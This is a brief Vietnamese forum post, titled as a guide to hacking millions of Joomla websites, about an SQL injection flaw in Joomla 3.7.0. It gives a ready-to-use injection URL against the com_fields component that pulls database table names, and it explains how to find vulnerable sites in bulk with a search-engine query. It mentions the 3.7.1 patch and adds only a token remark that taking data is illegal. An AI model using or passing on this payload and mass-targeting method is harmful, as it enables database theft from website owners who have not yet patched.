Hack hàng triệu webiste Joomla

[nonellldd]

Joomla 3.7.0 mới phát hiện có hỗ hổng sqli. Mã khai thác thuộc loại đơn giản dễ sử dụng

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,(select concat(0x3a, table_name) from information_schema.columns limit 3,1 ),0)​

HIện tại có thể update bản vá 3.7.1 cho hỗ hổng này, cần update kịp thời nếu không muốn db website của bạn bị người khác kéo trộm

Để hack hàng loạt khá đơn giản, các bạn search inurl:"components/com_fields" để tìm domain sử dụng Joomla => khai thác thử ( "kéo về" -> trái pháp luật, xem thôi nhé ).

nonellldd​

 

Thanks chỉ thớt